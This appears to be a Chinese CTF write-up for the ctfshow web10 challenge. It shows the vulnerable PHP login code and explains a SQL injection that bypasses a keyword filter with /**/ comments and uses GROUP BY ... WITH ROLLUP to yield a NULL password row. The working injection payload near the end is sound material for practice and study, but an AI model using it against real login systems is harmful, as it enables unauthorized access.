• ctfshow-web10


    web 10

    话说,web9与web10界面很相似哎,我猜测,肯定又是再9的基础上又进行了一些骚操作。试着先找找源码吧。

    访问index.phps下载源码。(点击取消按钮也可)

     1 <?php
     2         $flag="";
     3         function replaceSpecialChar($strParam){
     4              $regex = "/(select|from|where|join|sleep|and|s|union|,)/i";
     5              return preg_replace($regex,"",$strParam);
     6         }
     7         if (!$con)
     8         {
     9             die('Could not connect: ' . mysqli_error());
    10         }
    11         if(strlen($username)!=strlen(replaceSpecialChar($username))){
    12             die("sql inject error");
    13         }
    14         if(strlen($password)!=strlen(replaceSpecialChar($password))){
    15             die("sql inject error");
    16         }
    17         $sql="select * from user where username = '$username'";
    18         $result=mysqli_query($con,$sql);
    19             if(mysqli_num_rows($result)>0){
    20                     while($row=mysqli_fetch_assoc($result)){
    21                         if($password==$row['password']){
    22                             echo "登陆成功<br>";
    23                             echo $flag;
    24                         }
    25 
    26                      }
    27             }
    28     ?>

    果不其然,过滤了一些关键字。还有一些限制条件。有点棘手了。

    看了大佬的文章,了解了一种新姿势。

    介绍一下两个sql语句:

    1. group by:对进行查询的结果进行分组。group by后跟什么,就按什么分组

    2.with rollup:group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计。

    过滤空格的话用/**/进行绕过就行

    pyload: admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/# 

    在用户名框里输入这个,密码框里为空即可。因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']

    这样就能登录成功了。即可获得flag

    参考文章

    web 10

  • 相关阅读:
    ASP.NET,flexpaper,SWFTools 实现简单的PDF显示(一)
    ASP.NET,flexpaper,SWFTools 实现简单的PDF显示(三)
    一个获取远程客户端真实IP的例子
    用微软Chart制作图表
    快速读取xml节点内容
    ASP.NET 网站路径【摘自MSDN】
    SqlServer连接字符串相关记录
    视图研究一二
    天大计算机研究生的求职总结
    一个计算机系研究生毕业以后的人生规划(转)
  • 原文地址:https://www.cnblogs.com/awsole/p/14384921.html
Copyright © 2020-2023  润新知